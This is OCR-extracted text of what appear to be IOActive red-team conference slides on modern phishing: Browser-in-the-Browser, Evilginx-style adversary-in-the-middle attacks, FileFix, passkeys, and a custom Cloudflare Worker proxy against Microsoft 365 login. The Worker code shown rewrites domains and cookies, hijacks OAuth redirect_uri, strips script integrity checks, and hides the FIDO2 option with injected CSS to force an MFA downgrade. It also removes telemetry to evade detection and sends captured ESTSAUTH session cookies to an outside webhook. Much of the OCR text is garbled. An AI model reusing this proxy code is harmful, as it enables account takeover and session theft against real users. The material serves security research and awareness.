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Modern Phishing Techniques

BY Microsoft
Sign in

Email, phone, or Skype

“Classic” Phishing Method

No account? Create one!

Can't access your account?

Back

Q Sign-in options

IOActive.
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Dynamic generated websites
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Modern Phishing Techniques

Browser-in-the-Browser (BITB)

Developed by )

Tech Stack
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Modern Phishing Techniques

Browser-in-the-Browser (BITB)

Source: https.//mrdox.com/
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Modern Phishing Techniques

Adversary-in-The-Middle (AiTM)

1. It's the same concept as MiTM, but with a cooler name.

2. Victim - Phishing Server -
3. MFA, Cookies, Username, Password etc.

oogl

4- EVil.ginX ] loaded phishlet 'google’ from '
setting

N g 00
g up certificates for phishlet

1. Devel_oped by Ku ba GretZky ( ) [inf] [@] landing URL: https://accounts.it-is-almost-done.evilginx.com/signin/v2/identifier

IOACctive. /


https://x.com/mrgretzky
https://x.com/mrgretzky

&

o/\@(b
o

Modern Phishing Techniques

Frameless Browser-in-the-Browser

1. Hybrid method (BiTB & AiITM)

2. Fake Browser window containing a real proxified authentication page.
3. No <iframe> loads here

4. Mimic BiTB animation with CSS

5. Author: Wael Masri @waelmasol

IOActive.


https://x.com/waelmas01

Modern Phishing Techniques

Frameless Browser-in-the-Browser

Contact us. +1 (123) 456-7890

v %E Sign in to your account -+
%5 loginfakecom/?auth=2&ss0_reload=true
Home Services About Contact

« >

Etech IT

Upcoming Security Awareness Training
Join our exclusive 1:1 training session o enhance your security skills and awareness.

This training is exclusive for enterprise customers

IT you received an invitation, please login to continue

;.ﬁ Sign in with Microsoft

YA\

@waelmas

Prnivacy Policy lerms of Service

source: https.//github.com/waelmas/frameless-bitb
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" Modern Phishing Techniques

noVNC

« Web browser in kiosk mode

« Give access through web VNC

* Victim connected to our browser
* Resolution & Copy/Paste

« Tool EvilnoVNC developed by Joel Gamez Molina (@JoelGMSec)

« Special mentions: https://github.com/wanetty/MultiEvilnoVNC

IOActive.
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Modern Phishing Techniques
File Fix Technique
(by @mrdox)
[ar
mr.dOx made "HRPolicy.docx” available to you
 Click fix variation 06/20/2025 10:22:45 AM
« Execute commands via the File Explorer address bar To access HRPolicy.docx, follow these steps:

1. Copy the file path below

« Good pretext

C:\company\internal-secure\filedrive\HRPolicy.docx

. . . 2. Open File Explorer and select the address bar (CTRL + L)
« Multiple variations

3. Paste the file path and press Enter

Open File Explorer

E |

IOActive.
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”“Modern Phishing Techniques

File Fix Technique (by @mrdox)

= C @ File | C/Users/husky/Desktop/filefix.html

Google Chrome isn't your default browser Set as default

fas

mr.dOx made "HRPolicy.docx" available to you

To access HRPolicy.docx, follow these steps:
1. Copy the file path below
C:\company\internal-secure\filedrive\HRPolicy.docx

2. Open File Explorer and select the address bar (CTRL + L)

3. Paste the file path and press Enter

Open File Explorer

R R - msprc

File Computer View

A ™, ThisPC

fppeta Folders (3)
i Application Da

Deskt:
B8 Contacts r ) eskiop

i Cookies
M Desktop Devices and drives (2)

B Documents Local Disk (C:)

J Downloads Q 8.97 GB free of 49.4 GB
Y Favorites

ctive.

Processes Performance App history Startup Users Details

(4)
€ Google Chrome (7)
] ScreenToGif - StartUp
17yl Task Manager

1 Windows Explorer
Background proc
[#5] COM Surrogate

[¥5] COM Surrogate

[#=] Host Process for Windows Tasks
[#5] KMS Connection Broker

€ Microsoft Edge

@ Microsoft Edge

@ Microsoft Edge

@ Microsoft Edge

E Documents

D CD Drive (D:) VirtualBox Guest
Additions
0 bytes free of 58.5 MB

Downloads

Services

10%

1.6 MB
0.7 MB
3.6 MB
1.3 MB
0% 0.9 MB
0% 2.9 MB
0% 48 MB
0% 280 MB

0% 49 MB

0 MB/s
0 MB/s
0 MB/s

0 MB/s

Windows 10 Enterprise Eval
Windows License valid for 17
Build 19041.vb_release. 191206

Source: https.//wizardcybercom/from-clickfix-to-filefix-a-new-frontier-in-social-engineering-attacks/
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" Modern Phishing Techniques

Al Powered Phising

/\

Voice phishing (vishing) Deepfake impersonations

Deepfake Deception: Weaponizing Al-
Gen_g?éte_d VoiceptICIones inpSoociaI .
Engineenng Attacks

Dave Falkenstein

Source: Secwest by Dave Falkenstein

Source: Diep Nep

IOACctive.
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https://www.secwest.net/presentations-2025/deepfake-deception-weaponizing-ai-generated-voice-clones-in-social-engineering-attacks
https://www.secwest.net/presentations-2025/deepfake-deception-weaponizing-ai-generated-voice-clones-in-social-engineering-attacks
https://www.youtube.com/watch?v=F4G6GNFz0O8

Service workers

« Script that runs in the browser's background.

« Enables offline web apps and boosts performance.
« Intercepts and manages network requests.
« Provides smart caching for faster loading.
« Powers features like push notifications.

IOACctive. y




Cloudflare Workers

CLOUDFLARE

v 4 Workers

IOActive.

* Run JavaScript at the network edge.
» Cloudflare workers are Serverless.

» Improve performance & scalability.
« Operate outside the browser.

« Handle global traffic efficiently.

15
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FIDOz/ Passkeys: The Cryptographic Shield

FIDO2 is a passwordless authentication standard that
eliminates the need for traditional passwords by using
cryptographic key pairs and biometric verification.

Passkeys are digital credentials stored securely on your
devices that use public-key cryptography - your private key
never leaves your device while the public key is stored on the
server.

Authentication works through a simple challenge-response
process: the server sends a challenge, your device signs it
with the private key, and verification happens instantly
without transmitting secrets.

Users authenticate using familiar methods like fingerprint,
face recognition, or device PIN, making login both more
secure and more convenient than passwords.

Passkeys are phishing-resistant and sync across your devices
through encrypted cloud services, providing seamless
access while maintaining maximum security.

IOACctive.
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+* FIDO2/Passkeys : The Cryptographic Shield

IOACctive.

Register Your User Source: https.//wwwwebauthn.me/

Connect a USB authenticator, or make sure your device has a built in one like TouchlID, and enter your username or
email address.

name: supersecureguy@ioactive.com

authenticator browser relying party
https://myapp.com



&& FIDOz/ Passkeys The Cryptographic Shield

Authenticate With Your Credential

Using the rawId you can authenticate as the user you just created.

allowCredentials: [

{
type: 'public-key’,

id: 3247e9df54e4c3915ea9515a8daal34e8fal2b
e81

N
)
€
C

-

4
D
(0]

O®)
O
>
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3
>

§
()]
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=

-
[0)
O
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)]

authenticator browser relying party
https://myapp.com

IOACctive.




« FIDO2/Passkeys: The Cryptographic Shield

X
Source: https./”/wwwwebauthn.me/

at Sign In Cancel

Use Touch ID to sign in?

You will be signed in to "www.webauthn.me" with your passkey for
"supersecureguy®@ioactive.com”.

Continue with Touch ID

IOACctive.




%oo«@‘b& FIDO2/Passkeys: The Cryptographic Shield

KEY SECURITY FEATURES

# Origin Binding

1. Credentials are cryptographically tied to exact
domain

2. login.microsoftonline.com = evil-domain.com

© No Shared Secrets
« Private key NEVER transmitted
« Only signatures that cannot be reused

E Hardware Protection "I want to # Private | @ Public | @ Verify

o : Login” Key NEVER | Key + Sign Signature
K¢ys stqred in Secure Enclave/TPM leaves here | | Ehallence

« Biometric/PIN required for access — ]

@ Challenge-Response

« Each login uses unique challenge
* Sighatures cannot be replayed

IOACctive. .



«@% FIDO2/Passkeys: The Cryptographic Shield

WHY AiTM FAILS?

WHAT THE ATTACKER TRIES TO DO

© Origin Mismatch

® Victim % Evil Proxy M Microsoft *Credential registered for: login.microsoftonline.com
| *User currently on: evil-site.com

._L— . i . . .
| evil-site.com *Browser blocks authentication

|
|
|
"

login.microsoft ¢ Hardware-Level Verification

|
| online.com

|
|
| — «Authenticator validates domain at hardware level
|
I
|
|
|

Challenge «Cannot be spoofed by proxy manipulation

—_—
|

4, ® Browser |

@ Cryptographic Binding
*Private key tied to exact origin
*No way to "trick” the cryptographic validation

|
\
|

evil-site.com

|
3. FID02 | ——— ]
| |
F
|
|
|
|
|

B Browser Security Model
FAILURE

"No credential

for this origin" |

|
I
H
l *Origin validation happens in secure browser context

\
I
|
|
|
|

*Proxy has zero control over this process

IOACctive. ,



Deploy the server

How this Invisible Proxy works?

1 Send the phishin
email

2% Microsoft

01 (H=
SN 22

9 Victim Invisible Proxy - .
Doing interesting

Original Server

things under the
hood to perform
4 the redirection

[ n
> >

Rewrite things so it can
communicate back

l 3 Connectto
Open phishing
URL

Attacker —

L th
anded on the with the invisible proxy 5

e oy | < == === https://phishing.com/login

viewing the content 6
of the original server

Invisible proxy sends
credentials to the
attacker's server ©
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.
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.
.
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.
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.
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.
.
.
.
.
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e
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7 ‘ User & Password
""""""""" ~ https://phishingcom/login ~ https:/loginmicrosoftonline.com/login
“““““ Rewrite things so it can
communicate back
Landed on the - _ with the invisible proxy
next stepofthe & -7 777777
Oauth2 workflow.

MFA/OTP

Redirect to

IOActive.

Legitimate Domain
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1. This single line intercepts every HT TP request hitting our
phishing domain before any processing occurs.

2. The event listener acts as our universal gateway, routing all
traffic to the core proxy engine.

3. By hijacking the fetch event, we guarantee total control
over every response sent back to victims.

IOACctive.

Coding 101 (Evil-CfWorker)

addEventListener('fetch', event => {
event.respondWith(handleRequest(event.request));

)

23



These bidirectional mappings are the DNA of our
invisible proxy; they define which legitimate domains
get replaced with phishing ones.

SUBDOMAIN_MAPPING transforms victim

requests from phishing domains to real Microsoft
services seamlessly.

REVERSE_MAPPING ensures Microsoft's responses get

rewritten back to our phishing domains, completing the
iLlusion.

IOACctive.

Coding 101 (Evil-CfWorker)

const SUBDOMAIN_MAPPING = {
'magicedge.help': 'login.microsoftonline.com',
'login.magicedge.help': 'login.microsoft.com’,
‘office.magicedge.help': 'www.office.com',
‘cdn.magicedge.help’': 'aadcdn.msftauth.net’,
'static.magicedge.help': 'aadcdn.msauth.net',
‘live.magicedge.help': 'login. live.com',
'browser.magicedge.help': 'browser.events.data.microsoft.com',
‘net.magicedge.help’': 'identity.nel.measure.office.net’,
'eu.magicedge.help': 'eu—-mobile.events.data.microsoft.com'

const REVERSE_MAPPING = {
"login.microsoftonline.com': 'magicedge.help’,
'login.microsoft.com': 'login.magicedge.help’,
'www.office.com': 'office.magicedge.help’,
‘aadcdn.msftauth.net': 'cdn.magicedge.help’,
'aadcdn.msauth.net': 'static.magicedge.help',
*login. live.com':'live.magicedge.help’,
‘browser.events.data.microsoft.com': 'browser.magicedge.help’,
‘identity.nel.measure.office.net': 'net.magicedge.help’',
‘eu-mobile.events.data.microsoft.com':'eu.magicedge.help’

24



Coding 101 (Evil-CfWorker)

This parameter prevents automatic redirects that would
expose Microsoft's real domains to the victim.

We intercept every redirect response and rewrite the

Location header to keep victims on our phishing domain.

Without manual control, OAuth flows and MFA redirects
would immediately break our domain illusion.

WITHOUT redirect: 'manual’
What Happens:
+ Fetch follows redirects automatically

» Victim sees real Microsoft URLs

» Domain illusion breaks instantly

» Game over

IOACctive.

const response = await fetch(rewrittenUrl,
method: request.method,
headers: headers,

body: body,
redirect: 'manual'

® WITH redirect: 'manual’

What Happens:

- We intercept every redirect response
- We rewrite Location headers

- Victim stays on phishing domain

- Attack continues seamlessly

25



Coding 101 (Evil-CfWorker)

« We intercept Microsoft's Set-Cookie headers and rewrite
their domains to match our phishing domain.

« This transforms legitimate Microsoft session cookies into const rewrittenCookie = rewriteDomains(cookie, ‘response‘, {

cookies that work on our malicious domain. cookieDomains: true,
plainDomains: true

* The victim's browser now sends Microsoft's i

authentication tokens directly to our proxy on
every request.

% MICROSOFT SENDS - “s WE TRANSFORM TO
Set-Cookie: ESTSAUTH=abcl123; REWRITE Set-Cookie: ESTSAUTH=abc123;

Domain=.microsoftonline.com DOMAINS Domain=.evil-domain.com

Set-Cookie: ESTSAUTHPERSISTENT=xy REWRITE Set-Cookie: ESTSAUTHPERSISTENT=xy
4 Z,

Domain=.login.microsoft.com DOMAINS Domain=.login.evil—-domain.com

IOACctive. -



Domain

IOActive.

Preflight requests S
T
=

— =

Microsoft Oauth2 Security

/

Rewriting
/4

|
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¢ Microsoft Oauth2 Security

Domain Rewriting Script Integrity
l Attributes

W

\
AN

11
I8

i

Preflight requests

\\

T\

function removelntegrityAttributes(content) {

return content
'$1 integrity="""')

y Mil""
Jl

.replace(/(<script[~>]x?)\s+integrity=[""1[*""1%[""']/qi,

.replace(/(<link[*>]%?)\s+integrity=[""]1[*""]1%[""']/gi, '$1 integrity="""'")

.replace(/integrity=[""']1[*""']x["']l/gi, 'integrity="""')
-replace(/(\w+\.integrity\sx=\sx) ['"] [~'"]*['"]1/g, '$1""');

28

IOACctive.



Microsoft Oauth2 Security

Domain Rewriting Script Integrity URL Parameter
l Attributes Rewriting

Preflight requests 5%;?/}/ N
9 \
Z //{//\

-

\ 4 :g \\

—

i

function removelntegrityAttributes(content) {

y Mil""
Jl

return content
'$1 integrity="""')

.replace(/(<script[~>]x?)\s+integrity=[""1[*""1%[""']/qi,

.replace(/(<link[*>]%?)\s+integrity=[""]1[*""]1%[""']/gi, '$1 integrity="""'")

.replace(/integrity=[""']1[*""']x["']l/gi, 'integrity="""')

.replace(/(\w+\.integrity\s*=\sx) ['"]1[~'"]x['"1/g, '$1""');

29
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Microsoft Oauth2 Security

Domain Rewriting Script Integrity URL Parameter Canary HTTP Header

l Attributes Rewriting
Preflight requests ”‘32 \
7z

‘i,-!R =

=

—=

i

//IINT
il
j,

function removelntegrityAttributes(content) {

return content
'$1 integrity="""')

.replace(/(<script[~>]x?)\s+integrity=[""1[*""1%[""']/qi,

.replace(/(<link[*>]%?)\s+integrity=[""]1[*""]1%[""']/gi, '$1 integrity="""'")

.replace(/integrity=[""']1[*""']x["']l/gi, 'integrity="""')
-replace(/(\w+\.integrity\sx=\sx) ['"] [~'"]*['"]1/g, '$1""');

30
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Redirect_URI Hijacking THE DOUBLE REWRITE TECHNIQUE
L YICTIM REQUEST

« \We rewrite redirect_uri parameters in OAuth requests R inegiens Redrite) |

from our phishing domain to Microsoft's real domain. | FROM: redirect uri=evil-domain.com/callback

T0: redirect_uri=login.microsoftonline.com/callback

« This makes Microsoft trust the request and complete the !

legitimate OAuth authorization flow. P il o S N

is redirect_uri is valid, proceeding...

¥ User authenticates successfully
¥ Generates authorization code

« When Microsoft sends the authorization code back, we |

intercept it before rewriting the redirect back to our y MECEDSOET RESSONSE i
domain. & INCOMING (Response Rewrite)

e aeninannsniaienasi il e ‘
| FROM: Location: login.microsoftonline.com/callback?code=

TO: Location: evil-domain.com/callback?code=

v
VICTIM RECEIVES
& Lands on our domain with stolen authorization code

IOACctive. .



Microsoft FIDO2 Keys “Trampoline”™

MFA Downgrading CSS injection

Me: Makes a small CSS change

w l *
My Site: ,/é/

Y - .‘,
poWNEaD I

IOACctive. .




IOActive.

MFA Downgrading

How is it implemented?

IMPLEMENTATION

Lo h
IMPLEMENTNEWIMODES WE 3%

. -

33



IOActive.

MFA Downgrading

How is it implemented?

/common/login

$Config={
"arrUserProofs": [{
"authMethodId":"FidoKey","data":"FidoKey","display":"",
"isDefault":true,"islLocationAware": false

}
{

"authMethodId":"PhoneAppNotification","data":
"PhoneAppNotification","display":"","isDefault":false,
"islLocationAware':false

}
{

"authMethodId":"PhoneAppOTP","data" :"PhoneAppOTP","display":

" o"ispPefault":false,"isLocationAware'":false,
"phoneAppOtpTypes": ['"MicrosoftAuthenticatorBasedTOTP"]

}




IOActive.

MFA Downgrading

How is it implemented?

/common/login

$Config={
"arrUserProofs":[{
"authMethodId" :"FidoKey","data":"FidoKey","display":"",
"isDefault":true,"islLocationAware": false

}
{

"authMethodId":"PhoneAppNotification","data":
"PhoneAppNotification","display":"","isDefault": false,
"islLocationAware":false

b
{

"authMethodId" :"PhoneAppOTP","data":"PhoneAppOTP","display":

" o"ispefault'":false,"islLocationAware'": false,
"phoneAppOtpTypes": ["MicrosoftAuthenticatorBasedTOTP"]

}




MFA Downgrading

@ Sian in to your account X -+

G ® W 5} £ Incognito

23 login.microsoftonline.com/common/oaut...

-0

3 All Bookmarks

. ‘\((\

Q\' B8 Microsoft

O\*l Sian i
ign in

carlos.gomez@ioactive.com|

ed

No account? Create one!

Can't access your account?

Q Sign-in options

Terms of use  Privacy & cookies

IOActive.
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MFA Downgrading

How we can do it? ©

function applyPhoneAuthPreference(content) {
if (!ENABLE_PHONE_AUTH_MODIFICATION) return content;

const hasPhoneAppNotification = /"authMethodId":"PhoneAppNotification" [*}]x"isDefault":false/.test(content);
const hasPhoneAppOtp = /"authMethodId":"PhoneAppOTP" [~}]x"isDefault":false/.test(content);

if (hasPhoneAppNotification && hasPhoneAppOtp) {

content = content.replace!l
/("authMethodId":"PhoneAppNotification" [*}]*"isDefault":)false/q,
'$1true’

} else if (hasPhoneAppNotification)

content = content.replacel
/("authMethodId":"PhoneAppNotification' [*}]*"isDefault":)false/g,
'$1true’

else if (hasPhoneAppOtp) {
content = content.replace

/("authMethodId":"PhoneAppOTP" [*}]x"isDefault":)false/g,
'$1true’

return content;

37
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MFA Downgrading

How can we do it? ©

o 3 Sign in to your account X <+

C magicedge.help/common/reprocess?prompt=select_account&sosid=007d0012-055...

BT Microsoft
Sign in

carlos.gomez@ioactive.com|

No account? Create one!

Can’'t access your account?

Back

Q Sign-in options

Next

W

Terms of use

Privacy & cookies

38
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IOACctive.

CSS injection

B Microsoft

Choose a way to sign in

@ : . .
.? Face, fingerprint, PIN or security key

Approve a request on my Microsoft
Authenticator app

eee| Use my password

Back
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2" Microsoft

Choose a way to sign in

@ : : .
-? Face, fingerprint, PIN or security key

CSS injection

Approve a request on my Microsoft
Authenticator app

ese | Use my password

Back

IOACctive.

How can we =
remove it without
the end user
noticing?

40



2" Microsoft

Choose a way to sign in

& - . .
.? Face, fingerprint, PIN or security key

Approve a request on my Microsoft
Authenticator app

ese | Use my password

Back

IOACctive.

CSS injection

if (content.includes('</head>"')) {
const fidoHideCSS = °

<style>

div[data-value="FidoKey"],
div[data-test-cred-id="7"],

div([aria-labelx="security key"],
div[aria-labelx="Face, fingerprint, PIN or security key"] {
display: none !important;

}
</style>";

content = content.replace('</head>', fidoHide(CSS + '</head>');

"y &

e

a5 Microsoft

Choose a way to sign in

Approve a request on my Microsoft
Authenticator app

Use my password

Back

41



a5 Microsoft

Choose a way to sign in

Approve a request on my Microsoft
Authenticator app

Use my password

Back

CSS injection

IOACctive.

\
1G0T

|, T
NO CHOIGE

42
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CSS injection

B Microsoft
Sign in

carlos.gomez@ioactive.com

No account? Create one!

Can’t access your account?

q Sign-in options

43



Phishing time ©

| | async function captureIncomingAuthCookies(cookieHeader, request) {
try {
if ('ENABLE_WEBHOOK_NOTIFICATIONS || !WEBHOOK_URL) return;

’

o y ’ const authCookies =
O \X/e \X/a I | const cookies = cookieHeader.split(';');
s 1

for (const cookie of cookies
const trimmed = cookie.trim();
if (trimmed.startswWith('ESTSAUTH=') ||
trimmed.startsWith('ESTSAUTHPERSISTENT=")) {
authCookies.push(trimmed) ;

£ackic Nane Ype Sommene authCookies. length > @

const currentTime = Date.now();

if (currentTime - lastCookieSentTimestamp > 5000) {
const metadata = createRequestMetadatal
request.headers.get('cf-connecting-ip') || 'unknown',
request.headers.get('cf-ipcountry') || 'unknown',
request.headers.get('referer') || 'Direct’,
request,
url: request.url, source: 'incoming_request’

ESTSAUTH Common Contains user's session information to facilitate SSO. Transient.

ESTSAUTHPERSISTENT Common Contains user's session information to facilitate SSO. Persistent.

)i
const allAuthCookies = authCookies.join('; ');
const message = formatCookieMessage(allAuthCookies, metadata);
await sendToWebhook(message, WEBHOOK_URL);
> lastCookieSentTimestamp = currentTime;
} else {
}

else

} catch (error)

IOACctive. y



Webhooks

Phishing Page ggrautHpersisTent  Webhook
Server

IOACctive.

Phishing time ©

function formatCookieMessage(cookies, metadata) {
const formattedCookies = cookies
.replace(/;/g, ';<br>')
.replace(/ESTSAUTH=/g, '<b>ESTSAUTH=</b>")
.replace(/ESTSAUTHPERSISTENT=/g, '<b>ESTSAUTHPERSISTENT=</b>"');

return “<b>® Authentication Cookies Captured</b><br><br>" +
“${formattedCookies}<br><br>" +
“<b>Session Information:</b><br>" +
“<b>Timestamp:</b> ${metadata.timestampl}<br>"
“<b>Target URL:</b> ${metadata.url}<br>" +
"<b>IP Address:</b> ${metadata.clientIP}<br>" +
“<b>Region:</b> ${metadata.clientRegion}<br>" +
“<b>User Agent:</b> ${metadata.userAgent}<br>";

45



®wc phishing time ©

dani1to.com

25 webhook-panel.redeem-activation.workers.dev

ies) @ danito

¥ Webhook Panel Limit 50 ~ Key NO-KEY ~ Reload

Send webhooks to /webhook using header key: YOUR_KEY

curl =X POST "https://webhook-panel. redeem-activation.workers.dev/webhook" \
-H "Content-Type: application/json" \
-H "key: demo" \

-d '‘{"orderId":"123","status":"paid"}'
9 events Auto refresh: off Delete selected

@ Select = 2025-08-13T22-50-30-806Z_88659ztf  8/14/2025, 5:50:30 AM

o {
(Q “"text": " Authentication Cookies Captured

68 ESTSAUTHPERSISTENT=1.ARoAMe_N-86]
\%\ ESTSAUTH=1.ARoAMe_N-B6j SkuT5FIXH

@)
\(\O Session Information:

Timestamp:

\ﬂe\o Target URL:

IOACctive.

IP Address:
Region: ES
User Agent:

}

Select ~2025-08-13T22-50-52-842Z_duhiorSe  8/14/2025, 5:50:52 AM

“"text": "# Authentication Cookies Captured

ESTSAUTHPERSISTENT=1.AR0AM:
ESTSAUTH=1.ARoAMe_N-B6j Ski

Session Information.
Timestamp:

Target URL:

IP Address:

Region: ES

User Agent: Mozilla/5.0

}

(T,
Export JSON Export CSV

Theme
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https://www.linkedin.com/in/dan1t0/
https://www.linkedin.com/in/dan1t0/
https://dan1t0.com/
https://dan1t0.com/
https://dan1t0.com/
https://github.com/dan1t0

& Webhook Panel

@ Signin to your account X ©3 Private br

wsing

©O
V
0y
’& < ( el.redeem-activati ; : E > C O B magicedge.help/commonfoauth2/v2.0/authorize?client_id=4765445b- ¢ © a g
OO
X

¥ Webhook Panel 50 Key NO-KEY v  Reload ; Export CSV  Theme

Send webhooks to /webhook using header key: YOUR_KEY i i
" 9 y - @ Microsoft

curl =X POST "https://webhook-panel. redeem-activation.workers.dev/webhook" \ 4 %

Sign in

-H "Content-Type: application/json" \

phisedguy@workersai.onmicrosoft.com

-H "key: demo" \

No account? Create one!

-d '{"orderId":"123","status":"paid"}"

Can't access your account?

0 events Auto refresh: off Delete selected
Next

No events

Q Sign-in options

magicedge.help/common/oauth2/v2.0fauthorize?client_id=4765445b-32c6-49b0-83e6-1d9..AZ8nlfpYKhtx-2_arNHcQI8xaED-G4FBQArA&x-client-SKU=ID_NET8_0&x-client-ver=8.5.0.04 §

= Sign in to your account X +

2% login.microsoftonline.com/common/oauth2/v2.0/authorize?clien.. @a & W fa P N, &8 Incognito

Demo Time ©

a" Microsoft

Sign in

Email, phone, or Skype

No account? Create one!

Can't access your account?

Next

Q Sign-in options

Terms of use  Privacy & cookies  ««s



«Q;z/ ¥ Webhook Panel Limt 50 ~  Key NO-KEY v  Reload [|EXportJSON ExportCSV  Theme

O = Microsoft
)%(O Send webhooks to /webhook using header key: YOUR_KEY .

curl =X POST "https://webhook-panel.redeem-activation.workers.dev/webhook" \ SIQn in
-H "Content-Type: application/json" \ carlos.gomez@ioactive.com
-H "key: demo" \ No account? Create one!
~-d '{"orderId":"123","status":"paid"}' Can't access your account?

0 events Auto refresh: off Delete selected Delete all m

No events

Terms of use  Privacy & cookies

a Sign in to your account X +

login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4... & ¥ 4 } & Incognito

B® Microsoft

Sign in

Demo Time

' ¢
N Sign-in options

IOACctive. 8



mr.d0x

C:\Users\mr.dOx> whoami

IOActive.

MY, JUST A MOMENT.
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“Digi”-Evolution of Cloudflare workers

What happens if the company we \

are auditing has other CDNs as Why limit ourselves to this technology?
trusted parties?

What happens if Cloudflare is down?

u
IOACtIve® ©2025 I0Active, Inc. All rights reserved. 50



Evil-PaaS

« Multi-Platform: It can be deployed on any
PaaS provider.

 Distributed Operations: Decentralized
infrastructure, no single control plane.

* Decentralized Resilience: A takedown on
one platform has zero impact on the others.

* Ad-hoc: You can deploy on the Paas that
best suits your needs depending on the
engagement and the technology you need
to test.

IOACctive.
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OPSEC Tricks

ips;/magicedge haip GET

POST

Y

OPTIONS / tor/1. e&content-type«applicatior/x...
OPTIONS /OneCollector/1.0/7cors =true&content- &

POST ommon/DeviceCodeStatus 7code=L AQA

POST fcommon/Devic St de=LAQABIQEAAABV Sy

const TELEMETRY_PATTERNS = [ picedge help OPTIONS ."u-»rnua-f- r/;rf\-,— In-slll-|"‘vu|v‘~".[|u' |:{I|';q‘.|\.'x

POST

‘mobile.events.data.microsoft.com’, doa e POST

‘eu.magicedgs. help OPTIONS
'aria.microsoft.com', il o i i dpsblessmonimos o e
POST

jicadge help POST

'login. live.com',

CSSSNESSKSCSKSSKS8S8K888 K8

/magicedge halp POST

'watson'

S

S

T

nagicedge. help T fcammon/GetOneTimeCade

<

<

S

nagicadge help OPTIONS /OneCollector/ 1 0/7cors =true&content-type=application/x
adge.help POST CodeStatus 7code=LAGABIQEAAABVSp
/cdn.magicedge.help GET ared/1 i / er_verify_fiuent_authenti..

https //magicedge. help POST

const TELEMETRY_REPLACEMENTS = [ e s IO i e

optio.

[/"https:\/\/mobile\.events\.data\.microsoft\.com[~"]x"/g, '""'], : inosse i S bl biemoticloy oo Aol
[/https:\/\/mobile\.events\.data\.microsoft\.com[*"'\s>]x/g, '""'], : b = bl e el s
[ /H [AII ] *\/telemet ry\/ [AII ] *Il/g ; (BT J ; 7 ttp n.magicedge.help _:Ir_: = ' ::i, s ,,,,ifi?jﬁ:jlrci,],:

[/" [~ ]%\/analytics\/ [~ ]x"/g, '""'], s e
[/R [~ Tx\/tracking\/ [A )" /g, ""*], e S R ok S 480
[/"https:\/\/[*"]1x\.aria\.microsoft\.com[~"]%"/g, '""'I, hsspiinin. s e it et i i il 200 Pr—
[/"https:\/\/[~"]1x\.bing\.com\/ [*"]xtelemetry [*"]1x"/g, '""'], Rk = obmailt Qloomiimmcrmhadkorou sl i G 200 e s
[/"https:\/\/[*"]*x\.msn\.com\/ [~"]*analytics[~"]x"/g, '""'], (RS tniinin doin & A e S i o
[/"https:\/\/[*"]1xlogin\.live\.com[~"]x"/g, '""'], : it o Sofeden i ol ey

[/https:\/\/ [~ '\s>]*login\. live\.com[*" '\s>]1x/g, '""'] S o i e o e et ommashrkieonezndoon post

ge.nelpg GET

/cdn.magicedge.help GET / ed/1.0/content ) B sergediogin_pcrad..

share
Alve.magicedgs | GET /e hirr
GET fshared, tentjs/ConvergadLogn_PC

GET / 1 g converged. login.strings-.
n.magicedge. QET =rged og
naglcadge halp GET / v2 0/authorize?clie

GET /shared/1.0/contents/Bssointerupt_Core_4AGftro1Aew2

GET

GET / voauth2/v2.0/authorize?client id=47 45 c 53666 HTML

fice_magicedge. halp GET Aoy 302 . HTML

jicaage.haip GET / 3 1 HIML

IOACctive.




IOACctive.

mr.d0x

C:\Users\mr.dOx> whoami

Opsec Tricks

M ) Asger.jpg

Analyzed a phishing case in M365: attacker bypassed MFA using axios
HTTP client, leaving a telltale "axios/1.7.7" in sign-in logs. Lesson:
regularly check sign-in logs for unusual user-agents to spot suspicious
activity.

RecordType
ExchangeitemGroup
AzureActiveDirectoryStsLogon
AzureActiveDirectoryStsLogon
AzureActiveDirectoryStsLogon
AzureActiveDirectoryStsLogon
AzureActiveDirectoryStsLogon
AzureActiveDirectoryStsLogon
AzureActiveDirectoryStsLogon

Operation
MoveToDeleteditems
UserLoggedin
UserLoggedin
UserLoggedin
UserLoginFailed
UserLoginFailed
UserLoginFailed
UserLoginFailed

UserAgent

axios/1.7.7
axios/1.7.7
axios/1.7.7

&)
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OPSEC Tricks

Custom Origin & Referer headers

C U StO ' U sSer- e

= headers.get('Origin');
if (originalOrigin)

const newOrigin

rewriteDomains(originalOrigin, 'request', { plainDomains: true });
t t . = = headers.set('Origin', newOrigin);
. const originalReferer = headers.get('Referer');
the detection

J
L

const newReferer = rewriteDomains(originalReferer,

headers.set

'request', { plainDomains: true });
'Referer', newReferer);

Cloudflare Worker sends original Microsoft
headers to the Microsoft server.

IOACctive.
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OPSEC Tricks

CLIPPING THE CANARY'S WINGS: BYPASSING AITM PHISHING DETECTIONS

Posted by Keanu Nys | Jun 3, 2024 | Security Spotlight

1) User requests login page

3) Return login page with 2) Retum login page

Victim User custom CSP policy malicious.com with custom CSS

Special Mention —————p

Microsoft

3) Browser prevents loading of

custom background image »6

Honey Server

https./insights.spotit.be/2024/06/03/clipping-the-canarys-
wings-bypassing-aitm-phishing-detections/

u
IOACtIve® ©2025 I0Active, Inc. All rights reserved. 55



Infrastructure deployment (Evil-Worker)

«», CLOUDFLARE WORKER ADMIN

manage panel

@ ———generate token——> O/é

Admin Panel
Ul Generation &
Storage

Canary Token

IOACctive.

share token link———> O —

Target User

access via token
link

2, CLOUDFLARE WORKER PHISHING

encrypt HTML to
evade detection
I WV

valid token———>
iafter login———>
Phishing

\/ Page Cookie
(Encrypted) Exfiltration
Token

Validation invalid/missing S
Logic token

Error Handler

redirect after .
phishing .

Legitimate
Microsoft
Login

cookies

send session G
()

Webhook (3rd
Party)

redirect———> 7‘

External
Redirect
Service
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O

© README... 9+
»+ DOCU.., B+, M

worke.

nh JAVAS.. 94, M
[
Wi DOCU.. 94, M

o src
&« modules

.4

.4

B proxyjs

.

W gateway-worke.

gateway-wr... M
1
P
O README.m

o wranglerjs

ws JAVASCRIPT-TUTORIAL. md eng 94, M »+ DOCUMENTATION.md

taport { processTransparentPraxy ) from *./modu
. generatel inkAcce

ndleAdnin, handleDebug,

, handlaTokenGenaration, b

DEFALLT AUTH TARGET, elew , logEnvironmentDebug }

export default {
async fetchirequest, env,
return handleRequast!request, env ||

asyne function handleRequest{roquest, env

const url new URL | request H
const originalPathname = url.pat
const pathname = url.pathnane, tolow

const clientIP = request.headers.get t p') 1l

10gEnvironmentDebug | env)

{f (DEFAULT_CONFIG.ADMIN ROUT one route => pathnane. startsWith(route)

console.log(  ADMIN_PROTECTION: Checking access

idateAdminAccess|request, clientlP, env
» agminCheck];

const adninCheck = await
console. log( ' ADMIN_PROTECTION: Admin

if (tadminChec

snsumeAcces

for route: ${pathnane)

request .headers , get (

n, validateAccessToken,
clearAl1Lnks
